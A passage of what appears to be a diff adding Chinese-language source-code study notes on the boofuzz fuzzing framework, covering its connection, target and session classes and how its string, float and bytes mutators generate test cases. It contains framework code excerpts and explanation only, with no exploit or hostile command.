||||
raise
|
||||
|
||||
def recv(self, max_bytes):
|
||||
"""
|
||||
Receive up to max_bytes data from the target.
|
||||
|
||||
Args:
|
||||
max_bytes (int): Maximum number of bytes to receive.
|
||||
|
||||
Returns:
|
||||
Received data.
|
||||
"""
|
||||
data = b""
|
||||
|
||||
try:
|
||||
data = self._sock.recv(max_bytes)
|
||||
except socket.timeout:
|
||||
data = b""
|
||||
except socket.error as e:
|
||||
if e.errno == errno.ECONNABORTED:
|
||||
raise_(
|
||||
exception.BoofuzzTargetConnectionAborted(socket_errno=e.errno, socket_errmsg=e.strerror),
|
||||
None,
|
||||
sys.exc_info()[2],
|
||||
)
|
||||
elif (e.errno == errno.ECONNRESET) or (e.errno == errno.ENETRESET) or (e.errno == errno.ETIMEDOUT):
|
||||
raise_(exception.BoofuzzTargetConnectionReset(), None, sys.exc_info()[2])
|
||||
elif e.errno == errno.EWOULDBLOCK: # timeout condition if using SO_RCVTIMEO or SO_SNDTIMEO
|
||||
data = b""
|
||||
else:
|
||||
raise
|
||||
|
||||
return data
|
||||
|
||||
def send(self, data):
|
||||
"""
|
||||
Send data to the target. Only valid after calling open!
|
||||
|
||||
Args:
|
||||
data: Data to send.
|
||||
|
||||
Returns:
|
||||
int: Number of bytes actually sent.
|
||||
"""
|
||||
num_sent = 0
|
||||
|
||||
try:
|
||||
num_sent = self._sock.send(data)
|
||||
except socket.error as e:
|
||||
if e.errno == errno.ECONNABORTED:
|
||||
raise_(
|
||||
exception.BoofuzzTargetConnectionAborted(socket_errno=e.errno, socket_errmsg=e.strerror),
|
||||
None,
|
||||
sys.exc_info()[2],
|
||||
)
|
||||
elif e.errno in [errno.ECONNRESET, errno.ENETRESET, errno.ETIMEDOUT, errno.EPIPE]:
|
||||
raise_(exception.BoofuzzTargetConnectionReset(), None, sys.exc_info()[2])
|
||||
else:
|
||||
raise
|
||||
|
||||
return num_sent
|
||||
|
||||
@property
|
||||
def info(self):
|
||||
return "{0}:{1}".format(self.host, self.port)
|
||||
|
||||
```
|
||||
|
||||
可以看到其实TCPSocketConnection是socket的一层wrapper,在socket库的基础上包装了send和recv等函数,将ip和port等信息传入到socket库中并调用一系列函数进行连接的建立。同时针对连接失败的情况做出了详细的错误抛出。
|
||||
|
||||
到这里我们可以直观的理解为,SocketConnection("127.0.0.1", 80, proto='tcp')就是和指定的ip和port做了一个proto协议的连接,除此之外还可以添加timeout等额外参数。并且整个connection目录都是为了这个目标所服务的。
|
||||
|
||||
接下来我们分析第二层的Target类,先来看看作者对Target的描述:
|
||||
```
|
||||
Takes an ITargetConnection and wraps send/recv with appropriate
|
||||
FuzzDataLogger calls.
|
||||
|
||||
Encapsulates pedrpc connection logic.
|
||||
|
||||
Contains a logger which is configured by Session.add_target().
|
||||
|
||||
Example:
|
||||
tcp_target = Target(SocketConnection(host='127.0.0.1', port=17971))
|
||||
|
||||
Args:
|
||||
connection (itarget_connection.ITargetConnection): Connection to system under test.
|
||||
monitors (List[Union[IMonitor, pedrpc.Client]]): List of Monitors for this Target.
|
||||
monitor_alive: List of Functions that are called when a Monitor is alive. It is passed
|
||||
the monitor instance that became alive. Use it to e.g. set options
|
||||
on restart.
|
||||
repeater (repeater.Repeater): Repeater to use for sending. Default None.
|
||||
procmon: Deprecated interface for adding a process monitor.
|
||||
procmon_options: Deprecated interface for adding a process monitor.
|
||||
```
|
||||
|
||||
由于后续的代码会越来越长,所以不再将所有代码全部放上来,而是挑出其中逻辑密集值得分析的部分。
|
||||
|
||||
来看看Target类的init参数:
|
||||
```python
|
||||
def __init__(
|
||||
self,
|
||||
connection,
|
||||
monitors=None,
|
||||
monitor_alive=None,
|
||||
max_recv_bytes=10000,
|
||||
repeater=None,
|
||||
procmon=None,
|
||||
procmon_options=None,
|
||||
**kwargs
|
||||
):
|
||||
self._fuzz_data_logger = None
|
||||
|
||||
self._target_connection = connection
|
||||
self.max_recv_bytes = max_recv_bytes
|
||||
self.repeater = repeater
|
||||
self.monitors = monitors if monitors is not None else []
|
||||
```
|
||||
其中connection是必选的,并且会在后续的处理中给到_target_connection属性
|
||||
|
||||
除了connection之外,还可以设置监视器(monitors),最大接收字节数,repeater等等。对于其他功能我们后续逐步解锁,现在我们依然遵循这官方样例进行,更多的关注_target_connection参与了怎样的逻辑过程。
|
||||
|
||||
Target也注册了属于自己的send和recv,这和connection所定义的区别在哪里呢,来看看源码怎么说:
|
||||
```python
|
||||
def recv(self, max_bytes=None):
|
||||
"""
|
||||
Receive up to max_bytes data from the target.
|
||||
|
||||
Args:
|
||||
max_bytes (int): Maximum number of bytes to receive.
|
||||
|
||||
Returns:
|
||||
Received data.
|
||||
"""
|
||||
if max_bytes is None:
|
||||
max_bytes = self.max_recv_bytes
|
||||
|
||||
if self._fuzz_data_logger is not None:
|
||||
self._fuzz_data_logger.log_info("Receiving...")
|
||||
|
||||
data = self._target_connection.recv(max_bytes=max_bytes)
|
||||
|
||||
if self._fuzz_data_logger is not None:
|
||||
self._fuzz_data_logger.log_recv(data)
|
||||
|
||||
return data
|
||||
```
|
||||
|
||||
嗯所以其实这个Target层面定义的send和recv,是connection所定义的send和recv的一个wrapper,传了一个max_bytes参数,并且在调用connection之前和之后增加了logger的逻辑,用来打印日志。
|
||||
|
||||
Target的用处更多的是体现在了repeater和monitor上,所以这里不必多做停留,继续分析上层的session,在源码笔记(一)和(二)中我们致力于研究明白官方案例就好。
|
||||
|
||||
```python
|
||||
def __init__(
|
||||
self,
|
||||
session_filename=None,
|
||||
index_start=1,
|
||||
index_end=None,
|
||||
sleep_time=0.0,
|
||||
restart_interval=0,
|
||||
web_port=constants.DEFAULT_WEB_UI_PORT,
|
||||
keep_web_open=True,
|
||||
console_gui=False,
|
||||
crash_threshold_request=12,
|
||||
crash_threshold_element=3,
|
||||
restart_sleep_time=5,
|
||||
restart_callbacks=None,
|
||||
restart_threshold=None,
|
||||
restart_timeout=None,
|
||||
pre_send_callbacks=None,
|
||||
post_test_case_callbacks=None,
|
||||
post_start_target_callbacks=None,
|
||||
fuzz_loggers=None,
|
||||
fuzz_db_keep_only_n_pass_cases=0,
|
||||
receive_data_after_each_request=True,
|
||||
check_data_received_each_request=False,
|
||||
receive_data_after_fuzz=False,
|
||||
ignore_connection_reset=False,
|
||||
ignore_connection_aborted=False,
|
||||
ignore_connection_issues_when_sending_fuzz_data=True,
|
||||
ignore_connection_ssl_errors=False,
|
||||
reuse_target_connection=False,
|
||||
target=None,
|
||||
db_filename=None,
|
||||
):
|
||||
```
|
||||
|
||||
session涉及到的东西非常之多,并且target此时也并不是一个必选参数了。
|
||||
在init逻辑中有这样几行代码:
|
||||
```python
|
||||
if target is not None:
|
||||
|
||||
def apply_options(monitor):
|
||||
monitor.set_options(crash_filename=self._crash_filename)
|
||||
|
||||
return
|
||||
|
||||
target.monitor_alive.append(apply_options)
|
||||
|
||||
try:
|
||||
self.add_target(target)
|
||||
except exception.BoofuzzRpcError as e:
|
||||
self._fuzz_data_logger.log_error(str(e))
|
||||
raise
|
||||
```
|
||||
session类实例化的时候会去检测是否传入了target参数,如果传入了的话则调用add_target函数,这个函数是session类中所实现的一个函数,来看看怎么写的:
|
||||
```python
|
||||
def add_target(self, target):
|
||||
"""
|
||||
Add a target to the session. Multiple targets can be added for parallel fuzzing.
|
||||
|
||||
Args:
|
||||
target (Target): Target to add to session
|
||||
"""
|
||||
|
||||
# pass specified target parameters to the PED-RPC server.
|
||||
target.monitors_alive()
|
||||
target.set_fuzz_data_logger(fuzz_data_logger=self._fuzz_data_logger)
|
||||
|
||||
if self._callback_monitor not in target.monitors:
|
||||
target.monitors.append(self._callback_monitor)
|
||||
|
||||
# add target to internal list.
|
||||
self.targets.append(target)
|
||||
```
|
||||
作者将其描述为,添加一个目标到session中,并且允许添加多个target去进行并行化的fuzzing。而self.targets则是在init函数中所初始化的一个列表数据结构
|
||||
```python
|
||||
self.mutant_index = 0 # index within currently mutating element
|
||||
self.num_cases_actually_fuzzed = 0
|
||||
self.fuzz_node = None # Request object currently being fuzzed
|
||||
self.current_test_case_name = ""
|
||||
self.targets = []
|
||||
self.monitor_results = {} # map of test case indices to list of crash synopsis strings (failed cases only)
|
||||
# map of test case indices to list of supplement captured data (all cases where data was captured)
|
||||
self.monitor_data = {}
|
||||
self.is_paused = False
|
||||
self.crashing_primitives = {}
|
||||
```
|
||||
|
||||
所以对于这行代码:
|
||||
```python
|
||||
session = Session(
|
||||
target=Target(
|
||||
connection=SocketConnection("127.0.0.1", 80, proto='tcp')
|
||||
),
|
||||
)
|
||||
```
|
||||
我们已经给出了完整的解释,即首先通过设置proto为tcp,调用SocketConnection,从而调用内部的tcp_socket_connection函数最终调用socket库完成accept,bind等一系列操作完成连接的构建。而后调用Target进行实例化,不设置repeater和moniter,只设定了connection,得到了一个进一步包装了send,recv等函数的对象。
|
||||
最后调用Session,并将Target所返回的object作为target参数,将target加入到Session实例好的target_list列表中,准备进行后续的fuzz。
|
||||
|
||||
设置好session之后,继续分析下一行代码
|
||||
```python
|
||||
s_initialize("new request")
|
||||
```
|
||||
|
||||
其源码存在于整个boofuzz代码结构的根路径下的init文件中:
|
||||
```python
|
||||
def s_initialize(name):
|
||||
"""
|
||||
Initialize a new block request. All blocks / primitives generated after this call apply to the named request.
|
||||
Use s_switch() to jump between factories.
|
||||
|
||||
:type name: str
|
||||
:param name: Name of request
|
||||
"""
|
||||
if name in blocks.REQUESTS:
|
||||
raise exception.SullyRuntimeError("blocks.REQUESTS ALREADY EXISTS: %s" % name)
|
||||
|
||||
blocks.REQUESTS[name] = Request(name)
|
||||
blocks.CURRENT = blocks.REQUESTS[name]
|
||||
```
|
||||
用作者的话来说,s_initialize,函数初始化了一个新的request,所有的blocks或者primitives都需要先进行s_initialize,它接收一个单独的name参数,然后判断name是否在blocks.REQUESTS中存在,如果已经存在则抛出异常,如果不存在则执行下面两行语句。首先来看blocks.REQUESTS是什么:
|
||||
|
||||
```python
|
||||
from .aligned import Aligned
|
||||
from .block import Block
|
||||
from .checksum import Checksum
|
||||
from .repeat import Repeat
|
||||
from .request import Request
|
||||
from .size import Size
|
||||
|
||||
__all__ = ["Block", "Checksum", "Repeat", "Request", "Size", "REQUESTS", "Aligned"]
|
||||
|
||||
REQUESTS = {}
|
||||
CURRENT = None
|
||||
```
|
||||
可以看出blocks.REQUESTS是一个字典结构
|
||||
|
||||
所以其实就是每次调用s_initialize,都会将一个新的request加入到字典中,并且切换当前正在工作的request为新建的这个。即调用s_initialize之后,在没有新的s_initialize或者s_switch去切换当前工作request之前,所有的原语都是在操作这个新建的request。
|
||||
|
||||
接下来是新建块以及一系列的原语操作:
|
||||
```python
|
||||
with s_block("Request-Line"):
|
||||
s_group("Method", ['GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'CONNECT', 'OPTIONS', 'TRACE'])
|
||||
s_delim(" ", name='space-1')
|
||||
s_string("/index.html", name='Request-URI')
|
||||
s_delim(" ", name='space-2')
|
||||
s_string('HTTP/1.1', name='HTTP-Version')
|
||||
s_static("\r\n", name="Request-Line-CRLF")
|
||||
s_static("\r\n", "Request-CRLF")
|
||||
```
|
||||
|
||||
有关原语的参数含义,在文章开头已经有了详细的描述,接下里我们说说s_block()
|
||||
老样子先看源码:
|
||||
```python
|
||||
def s_block(name=None, group=None, encoder=None, dep=None, dep_value=None, dep_values=None, dep_compare="=="):
|
||||
"""
|
||||
Open a new block under the current request. The returned instance supports the "with" interface so it will
|
||||
be automatically closed for you::
|
||||
|
||||
with s_block("header"):
|
||||
s_static("\\x00\\x01")
|
||||
if s_block_start("body"):
|
||||
...
|
||||
```
|
||||
作者将此函数描述为,在当前request下打开一个新的block,并且支持with操作,即无需手动关闭。
|
||||
|
||||
```python
|
||||
block = s_block_start(
|
||||
name,
|
||||
request=blocks.CURRENT,
|
||||
group=group,
|
||||
encoder=encoder,
|
||||
dep=dep,
|
||||
dep_value=dep_value,
|
||||
dep_values=dep_values,
|
||||
dep_compare=dep_compare,
|
||||
)
|
||||
```
|
||||
block本身有一个必选的name参数,用来唯一标识block。在起类内部定义了大量的原语函数,比如s_group,s_string,s_static等等,我们挑出其中几个来看看:
|
||||
|
||||
```python
|
||||
def s_static(value=None, name=None):
|
||||
"""
|
||||
Push a static value onto the current block stack.
|
||||
|
||||
:see: Aliases: s_dunno(), s_raw(), s_unknown()
|
||||
|
||||
:type value: Raw
|
||||
:param value: Raw static data
|
||||
:type name: str
|
||||
:param name: (Optional, def=None) Specifying a name gives you direct access to a primitive
|
||||
"""
|
||||
|
||||
blocks.CURRENT.push(Static(name=name, default_value=value))
|
||||
```
|
||||
注释有很多,说明了其功能和特性等等,真正的代码只有一句,即实例化了一个Static类并通过push方法加入到当前blocks.CURRENT中,而Static类实现在了primitives中,这个目录下面包含了所有原语的具体实现,从文章开头语法介绍那里可以了解到各种常用原语所需参数以及特性。
|
||||
|
||||
在源码笔记(二)中会挑出其中几个重点和常用的原语,进一步分析其具体实现源码,以及最后的session.fuzz()逻辑,源码笔记(一)就到这里。
|
||||
@@ -0,0 +1,368 @@
|
||||
# boofuzz 源码笔记(三)
|
||||
> Ayaka
|
||||
> 来源:https://www.iotsec-zone.com/article/331
|
||||
|
||||
在源码笔记(一)和(二)中,通过官方给的例子走完了一个fuzz的整体流程,但是其中有一些保留的地方需要继续分析。
|
||||
|
||||
#fuzz流程的补充分析
|
||||
我们知道在session.fuzz的时候会调用_generate_mutations_indefinitely,根据已经添加到各个Request中数据生成fuzz_case_iterator,接下来看看具体是如何实现的:
|
||||
|
||||
```python
|
||||
def _generate_mutations_indefinitely(self, max_depth=None, path=None):
|
||||
"""Yield MutationContext with n mutations per message over all messages, with n increasing indefinitely."""
|
||||
depth = 1
|
||||
while max_depth is None or depth <= max_depth:
|
||||
valid_case_found_at_this_depth = False
|
||||
for m in self._generate_n_mutations(depth=depth, path=path):
|
||||
valid_case_found_at_this_depth = True
|
||||
yield m
|
||||
if not valid_case_found_at_this_depth:
|
||||
break
|
||||
depth += 1
|
||||
```
|
||||
|
||||
当最大深度未被设定或者当前深度小于最大深度时,回去遍历有效路径,如果找到则深度加一,没找到则退出循环
|
||||
|
||||
```python
|
||||
def _generate_n_mutations(self, depth, path):
|
||||
"""Yield MutationContext with n mutations per message over all messages."""
|
||||
for path in self._iterate_protocol_message_paths(path=path):
|
||||
for m in self._generate_n_mutations_for_path(path, depth=depth):
|
||||
yield m
|
||||
```
|
||||
|
||||
而_generate_n_mutations则遍历每条_iterate_protocol_message_paths生成的路径,并对每条路径进行n次变异
|
||||
|
||||
先看看_iterate_protocol_message_paths:
|
||||
```python
|
||||
def _iterate_protocol_message_paths(self, path=None):
|
||||
if not self.targets:
|
||||
raise exception.SullyRuntimeError("No targets specified in session")
|
||||
|
||||
if not self.edges_from(self.root.id):
|
||||
raise exception.SullyRuntimeError("No requests specified in session")
|
||||
|
||||
if path is not None:
|
||||
yield path
|
||||
else:
|
||||
for x in self._iterate_protocol_message_paths_recursive(this_node=self.root, path=[]):
|
||||
yield x
|
||||
```
|
||||
首先检查了是否至少有一个target和一个Request,如果不是的话则抛出异常。然后根据_iterate_protocol_message_paths_recursive的结果返回一个生成器。
|
||||
|
||||
```python
|
||||
def _iterate_protocol_message_paths_recursive(self, this_node, path):
|
||||
for edge in self.edges_from(this_node.id):
|
||||
path.append(edge)
|
||||
|
||||
message_path = self._message_path_to_str(path)
|
||||
logging.debug("fuzzing: {0}".format(message_path))
|
||||
self.fuzz_node = self.nodes[path[-1].dst]
|
||||
|
||||
yield path
|
||||
for x in self._iterate_protocol_message_paths_recursive(self.fuzz_node, path):
|
||||
yield x
|
||||
if path:
|
||||
path.pop()
|
||||
```
|
||||
_iterate_protocol_message_paths_recursive通过一种由yield实现的深度优先搜索算法,实现了找到从root出发的所有路径,由于我们执行session.fuzz()的时候没有指定要fuzz哪个具体的Request,所以这里path是none,所以在_iterate_protocol_message_paths调用_iterate_protocol_message_paths_recursive的时候给this_node的是self.root,如果之前指定了path则在上一层就直接返回了生成器。
|
||||
|
||||
然后来看看_generate_n_mutations_for_path
|
||||
```python
|
||||
def _generate_n_mutations_for_path(self, path, depth):
|
||||
"""Yield MutationContext with n mutations for a specific message.
|
||||
|
||||
Args:
|
||||
path (list of Connection): Nodes (Requests) along the path to the current one being fuzzed.
|
||||
depth (int): Yield sets of depth mutations.
|
||||
|
||||
Yields:
|
||||
MutationContext: A MutationContext containing one mutation.
|
||||
"""
|
||||
for mutations in self._generate_n_mutations_for_path_recursive(path, depth=depth):
|
||||
if not self._mutations_contain_duplicate(mutations):
|
||||
self.total_mutant_index += 1
|
||||
yield MutationContext(message_path=path, mutations={n.qualified_name: n for n in mutations})
|
||||
```
|
||||
_generate_n_mutations_for_path会遍历_generate_n_mutations_for_path_recursive,最后生成一个MutationContext的生成器。每个MutationContext包含一次变异
|
||||
|
||||
```python
|
||||
def _generate_n_mutations_for_path_recursive(self, path, depth, skip_elements=None):
|
||||
if skip_elements is None:
|
||||
skip_elements = set()
|
||||
if depth == 0:
|
||||
yield []
|
||||
return
|
||||
new_skip = skip_elements.copy()
|
||||
for mutations in self._generate_mutations_for_request(path=path, skip_elements=skip_elements):
|
||||
new_skip.update(m.qualified_name for m in mutations)
|
||||
for ms in self._generate_n_mutations_for_path_recursive(path, depth=depth - 1, skip_elements=new_skip):
|
||||
yield mutations + ms
|
||||
```
|
||||
通过递归的方式,不断调用_generate_mutations_for_request产生变异
|
||||
```python
|
||||
def _generate_mutations_for_request(self, path, skip_elements=None):
|
||||
if skip_elements is None:
|
||||
skip_elements = []
|
||||
self.fuzz_node = self.nodes[path[-1].dst]
|
||||
self.mutant_index = 0
|
||||
|
||||
for mutations in self.fuzz_node.get_mutations(skip_elements=skip_elements):
|
||||
self.mutant_index += 1
|
||||
yield mutations
|
||||
|
||||
if self._skip_current_node_after_current_test_case:
|
||||
self._skip_current_node_after_current_test_case = False
|
||||
break
|
||||
elif self._skip_current_element_after_current_test_case:
|
||||
self.fuzz_node.mutant.stop_mutations()
|
||||
self._skip_current_element_after_current_test_case = False
|
||||
continue
|
||||
```
|
||||
这里又是get_mutations的wrapper
|
||||
```python
|
||||
def get_mutations(self, default_value=None, skip_elements=None):
|
||||
return self.mutations(default_value=default_value, skip_elements=skip_elements)
|
||||
```
|
||||
get_mutations最后会去调用self.mutations,这是Request从FuzzableBlock继承来的一个函数
|
||||
```python
|
||||
def mutations(self, default_value, skip_elements=None):
|
||||
if skip_elements is None:
|
||||
skip_elements = []
|
||||
for item in self.stack:
|
||||
if item.qualified_name in skip_elements:
|
||||
continue
|
||||
self.request.mutant = item
|
||||
for mutation in item.get_mutations():
|
||||
yield mutation
|
||||
```
|
||||
skip_elements是一个用于去重的数据结构,每次从stack中取出一个item,然后调用item的get_mutations,最后生成一个mutation的生成器。
|
||||
|
||||
所以其实对于一次变异来说,到底如何进行取决于它是什么item。
|
||||
|
||||
这对我们来说是个好消息,因为这极大的简化了我们针对模型进行改进和开发的工作。
|
||||
|
||||
先来看看fuzzable里的get_mutations如何实现的:
|
||||
```python
|
||||
def get_mutations(self):
|
||||
"""Iterate mutations. Used by boofuzz framework.
|
||||
|
||||
Yields:
|
||||
list of Mutation: Mutations
|
||||
|
||||
"""
|
||||
try:
|
||||
if not self.fuzzable:
|
||||
return
|
||||
index = 0
|
||||
for value in itertools.chain(self.mutations(self.original_value()), self._fuzz_values):
|
||||
if self._halt_mutations:
|
||||
self._halt_mutations = False
|
||||
return
|
||||
if isinstance(value, list):
|
||||
yield value
|
||||
elif isinstance(value, Mutation):
|
||||
yield [value]
|
||||
else:
|
||||
yield [Mutation(value=value, qualified_name=self.qualified_name, index=index)]
|
||||
index += 1
|
||||
finally:
|
||||
self._halt_mutations = False # in case stop_mutations is called when mutations were exhausted anyway
|
||||
```
|
||||
|
||||
index用来记录变异次数,itertools.chain将变异来的数据和传入的fuzz_values合并成一个数据结构进行遍历。_halt_mutations用来标志变异是否结束。流程走到这里,已经彻底结束了,剩下的逻辑就归入到了各种item自己内部的mutation中了。接下里我们分析一些主要用到的数据类型的变异方法都是什么。
|
||||
|
||||
# 各个类型数据的变异方法
|
||||
|
||||
## string
|
||||
|
||||
以string类型为例,看看它的mutations是如何实现的:
|
||||
```python
|
||||
def mutations(self, default_value):
|
||||
last_val = None
|
||||
|
||||
for val in itertools.chain(
|
||||
self._fuzz_library,
|
||||
self._yield_variable_mutations(default_value),
|
||||
self._yield_long_strings(self.long_string_seeds),
|
||||
):
|
||||
current_val = self._adjust_mutation_for_size(val)
|
||||
if last_val == current_val:
|
||||
continue
|
||||
last_val = current_val
|
||||
yield current_val
|
||||
|
||||
# TODO: Add easy and sane string injection from external file/s
|
||||
```
|
||||
|
||||
首先将_fuzz_library、_yield_variable_mutations和_yield_long_strings三个集合通过itertools.chain合并成一个,然后去遍历,每次遍历通过_adjust_mutation_for_size调整长度,然后和上一次的value做比较,如果相同则continue,直接获取下一次变异。
|
||||
|
||||
来看看是如何调整长度的:
|
||||
```python
|
||||
def _adjust_mutation_for_size(self, fuzz_value):
|
||||
if self.max_len is not None and self.max_len < len(fuzz_value):
|
||||
return fuzz_value[: self.max_len]
|
||||
else:
|
||||
return fuzz_value
|
||||
```
|
||||
如果设置了max_len,则检测一下当前变异出来的value的长度是否大于max_len,如果大于则直接做个截断,取前max_len个字节。
|
||||
|
||||
在源码中还能看到一个TODO,应该是作者想加但是还没加如boofuzz中的功能,即从外部文件中读取简单且合理的字符串注入。
|
||||
|
||||
所以有关strings类的一系列的变异最终都落到了那三个集合中,其中fuzz_libary是一些常用的可能有特殊含义的字符串,如reboot等
|
||||

|
||||
|
||||
_yield_long_strings则是不断生成不同长度的long_string_seeds中的字符串的组合,long_string_seeds里是一些可能出现的合法的特殊字符:
|
||||

|
||||
|
||||
最后是_yield_variable_mutations,它会将self.original_value()作为default_value,然后执行如下代码:
|
||||
```python
|
||||
def _yield_variable_mutations(self, default_value):
|
||||
for length in self._variable_mutation_multipliers:
|
||||
value = default_value * length
|
||||
if value not in self._fuzz_library:
|
||||
yield value
|
||||
if self.max_len is not None and len(value) >= self.max_len:
|
||||
break
|
||||
```
|
||||
遍历_variable_mutation_multipliers中设置的长度,生成对应长度的字符串然后检查其是否在_fuzz_library中出现过,如果没有则返回生成器。_variable_mutation_multipliers定义如下:
|
||||

|
||||
|
||||
所以其实这里就是将原来的字符串重复2遍,10遍和100遍。
|
||||
|
||||
看到这里是不是会发现,这变异规则有些草率吧?与其说是变异,倒不如说是用libary中的字符串以及_yield_long_strings生成的一系列长字符串去替换原有位置的string,和这个位置的字符串原来是什么其实没有太大关系。
|
||||
|
||||
至少现在来看,string类型是这样的,这其实正是我们可以进一步定制化开发的地方所在,当我们要针对某一个具体目标协议或设备进行fuzzing的时候,完全可以根据目标特点修改这里的fuzz_libary,或者长字符串的生成方式,又或者如果我们想要生成的测试用例主要由原来的内容变异出来,而不是简单的字典替换,可以修改_yield_variable_mutations中的逻辑,参考AFL中的一些经典的变异策略,加入变异算法从而提高fuzzing的准确率和效率。
|
||||
|
||||
## float
|
||||
```python
|
||||
def mutations(self, default_value):
|
||||
last_val = None
|
||||
if self.seed is not None:
|
||||
random.seed(self.seed)
|
||||
|
||||
for i in range(self.max_mutations):
|
||||
if i == 0:
|
||||
current_val = default_value
|
||||
else:
|
||||
current_val = random.uniform(self.f_min, self.f_max)
|
||||
|
||||
str_format = "%" + self.s_format
|
||||
current_val = str_format % float(current_val)
|
||||
|
||||
if last_val == current_val:
|
||||
continue
|
||||
last_val = current_val
|
||||
yield current_val
|
||||
```
|
||||
对于float的mutation,首先是检查是否设置了随机种子,然后遍历max_mutations次,第一次直接返回默认值,后面则返回min到max之间的一个随机数,然后转成s_format的格式,s_format的默认值可以在参数中看到
|
||||
```python
|
||||
def __init__(
|
||||
self,
|
||||
name=None,
|
||||
default_value=0.0,
|
||||
s_format=".1f",
|
||||
f_min=0.0,
|
||||
f_max=100.0,
|
||||
max_mutations=1000,
|
||||
seed=None,
|
||||
encode_as_ieee_754=False,
|
||||
endian="big",
|
||||
*args,
|
||||
**kwargs
|
||||
):
|
||||
```
|
||||
即默认是变成保留一位的小数,如果目标有精度需求的话,可以自行设置s_format参数,所以对于float来说,所谓的变异其实就是不停的返回指定范围内的指定形式的随机数。
|
||||
|
||||
## bytes
|
||||
|
||||
```python
|
||||
def mutations(self, default_value):
|
||||
for fuzz_value in self._iterate_fuzz_cases(default_value):
|
||||
if callable(fuzz_value):
|
||||
yield compose(self._adjust_mutation_for_size, fuzz_value)
|
||||
else:
|
||||
yield self._adjust_mutation_for_size(fuzz_value=fuzz_value)
|
||||
```
|
||||
bytes类型中自定义的mutation中遍历的不是fuzz_libary,而是_iterate_fuzz_cases,来看看_iterate_fuzz_cases是如何实现的:
|
||||
```python
|
||||
def _iterate_fuzz_cases(self, default_value):
|
||||
for fuzz_value in self._fuzz_library:
|
||||
yield fuzz_value
|
||||
for fuzz_value in self._mutators_of_default_value:
|
||||
yield fuzz_value
|
||||
for fuzz_value in self._magic_debug_values:
|
||||
yield fuzz_value
|
||||
for i in range(0, len(default_value)):
|
||||
for fuzz_bytes in self._fuzz_strings_1byte:
|
||||
|
||||
def f(value):
|
||||
if i < len(value):
|
||||
return value[:i] + fuzz_bytes + value[i + 1 :]
|
||||
else:
|
||||
return value
|
||||
|
||||
yield f
|
||||
for i in range(0, len(default_value) - 1):
|
||||
for fuzz_bytes in self._fuzz_strings_2byte:
|
||||
|
||||
def f(value):
|
||||
if i < len(value) - 1:
|
||||
return value[:i] + fuzz_bytes + value[i + 2 :]
|
||||
else:
|
||||
return value
|
||||
|
||||
yield f
|
||||
|
||||
for i in range(0, len(default_value) - 3):
|
||||
for fuzz_bytes in self._fuzz_strings_4byte:
|
||||
|
||||
def f(value):
|
||||
if i < len(value) - 3:
|
||||
return value[:i] + fuzz_bytes + value[i + 4 :]
|
||||
else:
|
||||
return value
|
||||
|
||||
yield f
|
||||
```
|
||||
|
||||
首先是返回三个集合_fuzz_library,_mutators_of_default_value,_magic_debug_values的生成器,然后通过三个循环,根据default_value的长度,分别生成三种函数的生成器,三种函数分别是对给定value进行1字节,2字节和4字节的遍历替换。
|
||||
|
||||
这里和之前不一样的地方在于字典中不再只有value,还有function,相应的,再回头看mutations的时候就会发现,它先判断了value是否是函数,如果是的话则通过compose,将函数的返回值作为_adjust_mutation_for_size的参数,如果不是函数则直接将其作为_adjust_mutation_for_size的参数,_adjust_mutation_for_size我们之前已经分析过了,就是一个检查value长度的函数,过长会根据最大长度进行截断。
|
||||
|
||||
最后来看看bytes的mutation过程中涉及到的一系列字典:
|
||||

|
||||
|
||||
首先是用于1,2,4字节遍历替换的字典,可以看到是一些临界值以及magic_debug_values中的长度等于1,2,4的字符串
|
||||
|
||||

|
||||
|
||||
fuzz_libary里的东西相对很少,一些临界值和一些超长值,magic_debug_values里的则是从https://en.wikipedia.org/wiki/Magic_number_(programming)#Magic_debug_values
|
||||
获取的一系列魔数
|
||||
|
||||

|
||||
|
||||
mutators_of_default_value里是这三句话,效果是将原本的value分别乘2,,10,100倍
|
||||
|
||||
到这里bytes的所有变异方法就分析全了。
|
||||
|
||||
## 未额外定义的变异
|
||||
源码中有一部分类型是有自己实现的mutation函数,但是有一些是没有的,没有自己实现的类型是依据什么来变异的呢,我们知道其他的类型的父类是BasePrimitive或BitField,而在BasePrimitive和BitField中的mutation是这样定义的:
|
||||
```python
|
||||
class BasePrimitive(Fuzzable):
|
||||
"""
|
||||
The primitive base class implements common functionality shared across most primitives.
|
||||
"""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
super(BasePrimitive, self).__init__(*args, **kwargs)
|
||||
self._fuzz_library = [] # library of static fuzz heuristics to cycle through.
|
||||
|
||||
def mutations(self, default_value):
|
||||
for val in self._fuzz_library:
|
||||
yield val
|
||||
```
|
||||
可以看到在BasePrimitive中实现了一个最基本的mutations,就是遍历_fuzz_library,而_fuzz_library也在init中初始化成了一个列表,列表中的具体内容是什么则由每个类自行设置,比如delim类:
|
||||

|
||||
|
||||
加入了作者认为可能出现问题的一系列字符串进去作为分隔符的fuzzing字典,而delim里并没有自己实现mutations,所以在fuzzing的时候就是遍历一遍这个_fuzz_library,没有其他操作。
|
||||
@@ -0,0 +1,776 @@
|
||||
# boofuzz 源码笔记(二)
|
||||
> Ayaka
|
||||
> 来源:https://www.iotsec-zone.com/article/323
|
||||
|
||||
首先来填一个笔记(一)中忘记说的小坑:
|
||||
```python
|
||||
blocks.CURRENT.push(Static(name=name, default_value=value))
|
||||
```
|
||||
这句代码笔记(一)中只说了“实例化了一个Static类并通过push方法加入到当前blocks.CURRENT中”,但是为什么会有push方法,push方法怎么实现的忘记说了,这里补充一下
|
||||
|
||||
首先blocks.CURRENT这个东西在s_initialize中我们是见过的:
|
||||
```python
|
||||
def s_initialize(name):
|
||||
if name in blocks.REQUESTS:
|
||||
raise exception.SullyRuntimeError("blocks.REQUESTS ALREADY EXISTS: %s" % name)
|
||||
blocks.REQUESTS[name] = Request(name)
|
||||
blocks.CURRENT = blocks.REQUESTS[name]
|
||||
```
|
||||
所以blocks.CURRENT是一个Request类实例化出来的一个对象,push函数方法也实现在其中,跟进看一下源码:
|
||||
```python
|
||||
class Request(FuzzableBlock, Node):
|
||||
"""Top level container. Can hold any block structure or primitive.
|
||||
|
||||
This can essentially be thought of as a super-block, root-block, daddy-block or whatever other alias you prefer.
|
||||
|
||||
"""
|
||||
```
|
||||
Request类是一个顶层的容器,其中实现了push方法:
|
||||
```python
|
||||
def push(self, item):
|
||||
"""
|
||||
Push an item into the block structure. If no block is open, the item goes onto the request stack. otherwise,
|
||||
the item goes onto the last open blocks stack.
|
||||
"""
|
||||
